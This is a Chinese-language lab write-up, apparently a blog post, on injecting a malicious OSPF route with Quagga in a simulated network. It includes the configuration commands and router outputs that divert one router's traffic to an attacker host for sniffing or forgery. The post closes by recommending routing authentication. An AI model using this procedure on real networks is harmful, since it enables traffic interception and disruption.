前言:对于动态路由协议的***,向来是***关注的目标,OSPF协议作为园区网络中较为常见的路由协议,其配置的安全性和重要性自然不言而喻。如何有效防御OSPF的安全隐患,更多的网管往往将目标投向了路由器自身安全,习惯性的认为只要路由器保护得够安全,网络就够安全。其实,安全一直一来都是意识的竞争而技术仅仅是其中的表象。今天,我们就来看看一个简单的ospf插入恶意路由的方式。
 
模型:本次实验,我们采用dynamips模拟路由器,vmware+ubuntu模拟***方,***程序采用一个安装在ubuntu上的开源的路由软件quagga。拓扑如下:
p_w_picpath
模型中,R0和R1是原本收敛完成的ospf路由,通过一台二层交换机连接,这是园区网络非常常见的方式;我们通过在交换机上接入一台计算机C0,运行相应的程序,将R0原本指向R1的172.16.0.2的路由指向我们的***端C0。
 
原理:ospf的路由选择算法不在此赘述,简而言之。我们其实没有利用什么漏洞,而是针对没有设置校验的ospf路由进行握手和邻接,随后采用最小cost的方式强行压入路由。
 
前期准备:
路由器部分用dynamips,这里不再赘述用法,我们配置好的两台设备已经收敛完成,两台路由器采用f0/0链接交互ospf,此外R1新开启f0/1,用以将路由信息更新至R0,信息如下:
R0:
R0#sh ip int bri
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.0.251   YES NVRAM  up                    up     
FastEthernet0/1            unassigned      YES NVRAM  administratively down down 

R0#sh ip ospf ne
Neighbor ID     Pri   State           Dead Time   Address         Interface
192.168.0.249     1   FULL/BDR        00:00:36    192.168.0.249   FastEthernet0/0
R0#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
     172.16.0.0/24 is subnetted, 1 subnets
O       172.16.0.0 [110/20] via 192.168.0.249, 00:09:42, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
R1:
R1#sh ip ospf ne
Neighbor ID     Pri   State           Dead Time   Address         Interface
192.168.0.251     1   FULL/DR         00:00:30    192.168.0.251   FastEthernet0/0

R1#sh ip int bri
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.0.249   YES NVRAM  up                    up     
FastEthernet0/1            172.16.0.2      YES NVRAM  up                    up
 
R1#sh ip route 
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.0.0 is directly connected, FastEthernet0/1
C    192.168.0.0/24 is directly connected, FastEthernet0/0
***平台方面,我们在虚拟机里架好ubuntu系统,IP地址为192.168.0.186;随后在在软件源里选择quagga,安装过程同任何基于“新立得”更新的软件。
装完后进入/usr/share/doc/quagga/examples,这是配置范例,我们选择ospfd.conf.sample,copy至/etc/quagga下,并重命名为ospfd.conf;
然后进入/etc/quagga下,编辑daemons,把里面的zebra和ospf等号右边的no都改成yes,保存,关闭。
(水煮豆豆注:这里的zebra是quagga的主模块,用来监控整个路由情况和添加静态路由等。如果需要运行其他路由协议,也请将相应的文档从examples拷贝到quagga下,并开启daemons内相应的协议)
我们可以偷偷看下ospfd和zebra的配置文件,你会发现非常熟悉,因为里面用的语法仿cisco的风格,很像一个路由器的配置文件。
在这个目录下还有一个debian.conf,这里可以配置各个路由进程绑定的IP,如果你不做任何修改(默认127.0.0.1),那么quagga启动后,将只能在本地telnet;而如果和我一样打算在网络上任意位置telnet的话,我们可以修改IP地址为相应地址:
p_w_picpath
 
随后我们启动quagga进程,将会发现系统开放的新端口,这里2601是zebra开的,2604是ospf开的。
p_w_picpath
 
我们分别telnet进去,得到配置。
zebra# sh run
Current configuration:
!
hostname zebra
password zebra
enable password zebra
!
interface eth0
ipv6 nd suppress-ra
!
interface lo
!
interface pan0
ipv6 nd suppress-ra
!
!
!
!
line vty
!
end
ospfd# sh run
Current configuration:
!
hostname ospfd
password zebra
log stdout
!
!
!
interface eth0
!
interface lo
!
interface pan0
!
!
line vty
!
end
这样,我们就可以用非常熟悉的cisco语法来配置路由器的,但是有人也许会迷惑,两个窗口我们应该这么区分呢?
简单的可以理解为,ospfd是专门设置和ospf有关的信息的;而zebra则专管路由信息的查看,静态路由设置等等。
 
***开始:
我们首先在ospfd中做如下配置,启动和另外两台ospf的协商进程。
router ospf
network 172.16.0.0/16 area 0.0.0.0
network 192.168.0.0/24 area 0.0.0.0
此时,R0和R1应该收到ospf信息,并且开始ospf握手和协商,由于之前已经选择出DR和BDR,因此我们最后加入的被设置成DROTHER:
R0#sh ip ospf ne
Neighbor ID     Pri   State           Dead Time   Address         Interface
192.168.0.186     1   FULL/DROTHER    00:00:35    192.168.0.186   FastEthernet0/0
192.168.0.249     1   FULL/BDR        00:00:32    192.168.0.249   FastEthernet0/0
R1#sh ip ospf ne
Neighbor ID     Pri   State           Dead Time   Address         Interface
192.168.0.186     1   FULL/DROTHER    00:00:35    192.168.0.186   FastEthernet0/0
192.168.0.251     1   FULL/DR         00:00:33    192.168.0.251   FastEthernet0/0
我们看quagga中的情况:
zebra# sh ip route
Codes: K - kernel route, C - connected, S - static, R - RIP, O - OSPF,
       I - ISIS, B - BGP, > - selected route, * - FIB route
K>* 0.0.0.0/0 via 192.168.0.1, eth0
C>* 127.0.0.0/8 is directly connected, lo
K>* 169.254.0.0/16 is directly connected, eth0
O   172.16.0.0/24 [110/12] via 192.168.0.249, eth0, 00:12:27
O   192.168.0.0/24 [110/2] is directly connected, eth0, 00:12:27
C>* 192.168.0.0/24 is directly connected, eth0
这里很多人可能没见过K,K表示kernel,这是quagga表示ubuntu系统的路由和接口信息时用的。
可以看到,quagga也收到了来自R1的ospf路由。
(水煮豆豆注:如果没有形成邻接关系,请检查一下dynamips的双工问题,我在这个地方卡了比较久,原因是dynamips模拟的设备和我本地的交换机存在双工不同步,从而影响了路由器之间的协商,造成超时失效,最后通过debug发现的,解决方法是在dynamips的路由器里相应的接口设置双工。)
接下来我们正式实施***,这里有两种思路,一种是在zebra内设置静态路由:ip route 172.16.0.0/24 192.168.0.186(也可以写成ip route 172.16.0.0/24 eth0);另外一种方式是在ubuntu网卡上直接设置新的ip地址172.16.0.2。
这里我们先测试方法二:
在ubuntu的网卡内增加172.16.0.2:
p_w_picpath
同时,在ospfd内增加如下配置:
interface eth0
ip ospf cost 1(这里也不一定非要1,只要比正常的开销小就行)

router ospf (需要将本地路由重分布到ospf中去,这样才能更新到R1和R0上)
redistribute kernel  (这条没有测试是否为必须,但是一旦开启就会将zebra中标志为K的条目发送出去)
redistribute connected (方法二需要)
redistribute static (方法一需要)
此时更新已经发送出去,且由于cost比较小,将被R0采纳为最优路径:
发送前:
R0#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
     172.16.0.0/24 is subnetted, 1 subnets
O       172.16.0.0 [110/20] via 192.168.0.249, 00:09:42, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
发送后:
R0#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
O E2 169.254.0.0/16 [110/20] via 192.168.0.186, 00:04:55, FastEthernet0/0(这条是redistribute kernel传递出来的)
     172.16.0.0/24 is subnetted, 1 subnets
O       172.16.0.0 [110/11] via 192.168.0.186, 00:04:55, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
注意其中的cost,R1的为20,我们发送的为11,其实是10+1,其中10是网络带宽花费,由于vmware模拟的网卡为10M,因为100/10=10;1就是我们设置的接口cost值。
这样,R0将原本发往R1的数据将发往C0,也就是我们的***端,这样无论是嗅探数据,或者伪造后再转发回R1,甚至频繁更新路由引起拥塞,都是可以考虑的***方式。
然后我们谈谈方法一,之所以将方法一放在后面讲,是因为这种方式是不成功的,最终无法欺骗R0,那是因为如果开启zebra的静态路由:ip route 172.16.0.0/24 192.168.0.186;我们在关闭R1的f0/1接口的情况下,可以看到R0:
R0# sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
     172.16.0.0/24 is subnetted, 1 subnets
O E2    172.16.0.0 [110/20] via 192.168.0.186, 00:11:56, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
可以看到此时重分布进来一条E2的路由,而根据ospf的协定, 重分布进OSPF的路由默认为E2,Cost=20,且传递过程中不改变COST。
而R1更新过来的路由类型为O,根据ospf的路由优先原则: O > O IA > O E1 > O E2 的 优先级顺序转发,因此,只要R1存在172.16.0.0的路由,无论何时存在,都将替换***方的恶意路由,我们刚才为了演示上表关闭了f0/1,我们重新打开。效果如下:
R0# sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
     172.16.0.0/24 is subnetted, 1 subnets
O       172.16.0.0 [110/20] via 192.168.0.249, 00:00:01, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
可以看到路由被正确的更新覆盖了。因此无法采用方法一的方式实现***。
 
综述:本次测试的***非常简单,其实就是利用了ospf协议特性的正常功能的不正常实现,站在***者的角度看,应该还能研究出更多的方法,而站在网管的角度,无论多少方法,在本例中开启路由认证和校验是杜绝针对ospf***的好办法;从长远看,保持安全警惕意识,了解安全形势变化,跟踪***技术演化,结合硬件侦测手段时刻修正网内安全防护级别,才是真正治标又治本的解决方案。我们有理由相信一个久经考验的路由协议可以应对常见的***行为,也希望类似的测试能够引起网管的重视,真正领会到安全意识高于防护技术的本质。